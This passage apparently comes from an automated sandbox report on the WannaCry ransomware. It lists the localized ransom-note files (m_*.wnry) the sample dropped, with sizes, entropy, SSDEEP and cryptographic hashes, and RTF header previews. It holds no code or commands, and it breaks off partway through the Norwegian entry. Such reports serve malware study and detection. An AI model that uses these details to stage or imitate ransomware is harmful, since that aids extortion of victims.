                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_dutch.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):36987
                                                                                                      Entropy (8bit):5.036160205965849
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:Sw3BHSj2cLeT+sPzy3EFHjHdp2oG2/CzhReo75Y3kmA31dv61Qyz:Sw3BHSWjHdBG2/UhsZrS14f
                                                                                                      MD5:7A8D499407C6A647C03C4471A67EAAD7
                                                                                                      SHA1:D573B6AC8E7E04A05CBBD6B7F6A9842F371D343B
                                                                                                      SHA-256:2C95BEF914DA6C50D7BDEDEC601E589FBB4FDA24C4863A7260F4F72BD025799C
                                                                                                      SHA-512:608EF3FF0A517FE1E70FF41AEB277821565C5A9BEE5103AA5E45C68D4763FCE507C2A34D810F4CD242D163181F8341D9A69E93FE32ADED6FBC7F544C55743F12
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}

                                                                                                      C:\Users\user\Desktop\msg\m_english.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):36973
                                                                                                      Entropy (8bit):5.040611616416892
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:S93BHSj2cguALeT+sPzy3EFHjHdM2EG2YLC7O3eo75Y3kmA31dv61QyW:S93BHSTjHd0G2YLCZrS14y
                                                                                                      MD5:FE68C2DC0D2419B38F44D83F2FCF232E
                                                                                                      SHA1:6C6E49949957215AA2F3DFB72207D249ADF36283
                                                                                                      SHA-256:26FD072FDA6E12F8C2D3292086EF0390785EFA2C556E2A88BD4673102AF703E5
                                                                                                      SHA-512:941FA0A1F6A5756ED54260994DB6158A7EBEB9E18B5C8CA2F6530C579BC4455918DF0B38C609F501CA466B3CC067B40E4B861AD6513373B483B36338AE20A810
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhim

                                                                                                      C:\Users\user\Desktop\msg\m_filipino.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):37580
                                                                                                      Entropy (8bit):5.0458193216786
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:Sw3BHSj2cLeT+sPzy3EFHjHdi2MG2AGsi6p07i/eo75Y3kmA31dv61QyR:Sw3BHSWjHdGG2Axa7iGZrS14N
                                                                                                      MD5:08B9E69B57E4C9B966664F8E1C27AB09
                                                                                                      SHA1:2DA1025BBBFB3CD308070765FC0893A48E5A85FA
                                                                                                      SHA-256:D8489F8C16318E524B45DE8B35D7E2C3CD8ED4821C136F12F5EF3C9FC3321324
                                                                                                      SHA-512:966B5ED68BE6B5CCD46E0DE1FA868CFE5432D9BF82E1E2F6EB99B2AEF3C92F88D96F4F4EEC5E16381B9C6DB80A68071E7124CA1474D664BDD77E1817EC600CB4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}

                                                                                                      C:\Users\user\Desktop\msg\m_finnish.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):38377
                                                                                                      Entropy (8bit):5.030938473355282
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdg2oG2l1glOmeo75Y3kmA31dv61QyB:Shef3jHdMG2l1AO3ZrS14l
                                                                                                      MD5:35C2F97EEA8819B1CAEBD23FEE732D8F
                                                                                                      SHA1:E354D1CC43D6A39D9732ADEA5D3B0F57284255D2
                                                                                                      SHA-256:1ADFEE058B98206CB4FBE1A46D3ED62A11E1DEE2C7FF521C1EEF7C706E6A700E
                                                                                                      SHA-512:908149A6F5238FCCCD86F7C374986D486590A0991EF5243F0CD9E63CC8E208158A9A812665233B09C3A478233D30F21E3D355B94F36B83644795556F147345BF
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_french.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):38437
                                                                                                      Entropy (8bit):5.031126676607223
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdtW2IG2sjqMeo75Y3kmA31dv61Qyg:Shef3jHd0G2smJZrS14M
                                                                                                      MD5:4E57113A6BF6B88FDD32782A4A381274
                                                                                                      SHA1:0FCCBC91F0F94453D91670C6794F71348711061D
                                                                                                      SHA-256:9BD38110E6523547AED50617DDC77D0920D408FAEED2B7A21AB163FDA22177BC
                                                                                                      SHA-512:4F1918A12269C654D44E9D394BC209EF0BC32242BE8833A2FBA437B879125177E149F56F2FB0C302330DEC328139B34982C04B3FEFB045612B6CC9F83EC85AA9
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_german.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):37181
                                                                                                      Entropy (8bit):5.039739267952546
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdN26G2VSA1Ieo75Y3kmA31dv61QyU:Shef3jHdfG2oe1ZrS14w
                                                                                                      MD5:3D59BBB5553FE03A89F817819540F469
                                                                                                      SHA1:26781D4B06FF704800B463D0F1FCA3AFD923A9FE
                                                                                                      SHA-256:2ADC900FAFA9938D85CE53CB793271F37AF40CF499BCC454F44975DB533F0B61
                                                                                                      SHA-512:95719AE80589F71209BB3CB953276538040E7111B994D757B0A24283AEFE27AADBBE9EEF3F1F823CE4CABC1090946D4A2A558607AC6CAC6FACA5971529B34DAC
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_greek.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):49044
                                                                                                      Entropy (8bit):4.910095634621579
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdc2oG2WWDFFG5BwKeo75Y3kmA31dv61QyM:Shef3jHdoG2NHG5BwLZrS14Q
                                                                                                      MD5:FB4E8718FEA95BB7479727FDE80CB424
                                                                                                      SHA1:1088C7653CBA385FE994E9AE34A6595898F20AEB
                                                                                                      SHA-256:E13CC9B13AA5074DC45D50379ECEB17EE39A0C2531AB617D93800FE236758CA9
                                                                                                      SHA-512:24DB377AF1569E4E2B2EBCCEC42564CEA95A30F1FF43BCAF25A692F99567E027BCEF4AACEF008EC5F64EA2EEF0C04BE88D2B30BCADABB3919B5F45A6633940CB
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_indonesian.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):37196
                                                                                                      Entropy (8bit):5.039268541932758
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:Sw3BHSj2cLeT+sPzy3EFHjHdY2oG2pq32eo75Y3kmA31dv61Qys:Sw3BHSWjHdUG2pq3nZrS14I
                                                                                                      MD5:3788F91C694DFC48E12417CE93356B0F
                                                                                                      SHA1:EB3B87F7F654B604DAF3484DA9E02CA6C4EA98B7
                                                                                                      SHA-256:23E5E738AAD10FB8EF89AA0285269AFF728070080158FD3E7792FE9ED47C51F4
                                                                                                      SHA-512:B7DD9E6DC7C2D023FF958CAF132F0544C76FAE3B2D8E49753257676CC541735807B4BEFDF483BCAE94C2DCDE3C878C783B4A89DCA0FECBC78F5BBF7C356F35CD
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}

                                                                                                      C:\Users\user\Desktop\msg\m_italian.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):36883
                                                                                                      Entropy (8bit):5.028048191734335
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdR2AG2c/EnByeo75Y3kmA31dv61Qy9:Shef3jHdJG2cQZrS14R
                                                                                                      MD5:30A200F78498990095B36F574B6E8690
                                                                                                      SHA1:C4B1B3C087BD12B063E98BCA464CD05F3F7B7882
                                                                                                      SHA-256:49F2C739E7D9745C0834DC817A71BF6676CCC24A4C28DCDDF8844093AAB3DF07
                                                                                                      SHA-512:C0DA2AAE82C397F6943A0A7B838F60EEEF8F57192C5F498F2ECF05DB824CFEB6D6CA830BF3715DA7EE400AA8362BD64DC835298F3F0085AE7A744E6E6C690511
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_japanese.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):81844
                                                                                                      Entropy (8bit):4.85025787009624
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SXZ0j2cKKwd1lksPzy3EFHjHdI2MG275rQeo75Y3kmA31dv61Qyr:SXZ0qbjHd4G2RNZrS14P
                                                                                                      MD5:B77E1221F7ECD0B5D696CB66CDA1609E
                                                                                                      SHA1:51EB7A254A33D05EDF188DED653005DC82DE8A46
                                                                                                      SHA-256:7E491E7B48D6E34F916624C1CDA9F024E86FCBEC56ACDA35E27FA99D530D017E
                                                                                                      SHA-512:F435FD67954787E6B87460DB026759410FBD25B2F6EA758118749C113A50192446861A114358443A129BE817020B50F21D27B1EBD3D22C7BE62082E8B45223FC
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\*\panose 02020609040205080304}MS Mincho{\*\falt ?l?r ??\'81\'66c};}{\f12\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}\'b9\'d9\'c5\'c1{\*\falt Batang};}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f44\fbidi \froman\fcharset129\fprq2{\*\panose 020306000001

                                                                                                      C:\Users\user\Desktop\msg\m_korean.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):91501
                                                                                                      Entropy (8bit):4.841830504507431
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:768:Shef3jHdUG2NQcbxfSVZiG9jvi3//ZVrMQr7pEKCHSI2DsY78piTDtTa6BxzBwdY:SheiaDq
                                                                                                      MD5:6735CB43FE44832B061EEB3F5956B099
                                                                                                      SHA1:D636DAF64D524F81367EA92FDAFA3726C909BEE1
                                                                                                      SHA-256:552AA0F82F37C9601114974228D4FC54F7434FE3AE7A276EF1AE98A0F608F1D0
                                                                                                      SHA-512:60272801909DBBA21578B22C49F6B0BA8CD0070F116476FF35B3AC8347B987790E4CC0334724244C4B13415A246E77A577230029E4561AE6F04A598C3F536C7E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_latvian.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):41169
                                                                                                      Entropy (8bit):5.030695296195755
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdcqH24G2ZN1EDCv3Apb0WD5gYV/S4L3rnzdeo75Y3f:Shef3jHdcMG2NpZrS14F
                                                                                                      MD5:C33AFB4ECC04EE1BCC6975BEA49ABE40
                                                                                                      SHA1:FBEA4F170507CDE02B839527EF50B7EC74B4821F
                                                                                                      SHA-256:A0356696877F2D94D645AE2DF6CE6B370BD5C0D6DB3D36DEF44E714525DE0536
                                                                                                      SHA-512:0D435F0836F61A5FF55B78C02FA47B191E5807A79D8A6E991F3115743DF2141B3DB42BA8BDAD9AD259E12F5800828E9E72D7C94A6A5259312A447D669B03EC44
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                      C:\Users\user\Desktop\msg\m_norwegian.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                      Category:dropped
                                                                                                      Size (bytes):37577
                                                                                                      Entropy (8bit):5.025836823617116
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdy2MG2D7mgwroXeo75Y3kmA31dv61Qy5:Shef3jHdGG23KrDZrS14N
                                                                                                      MD5:FF70CC7C00951084175D12128CE02399
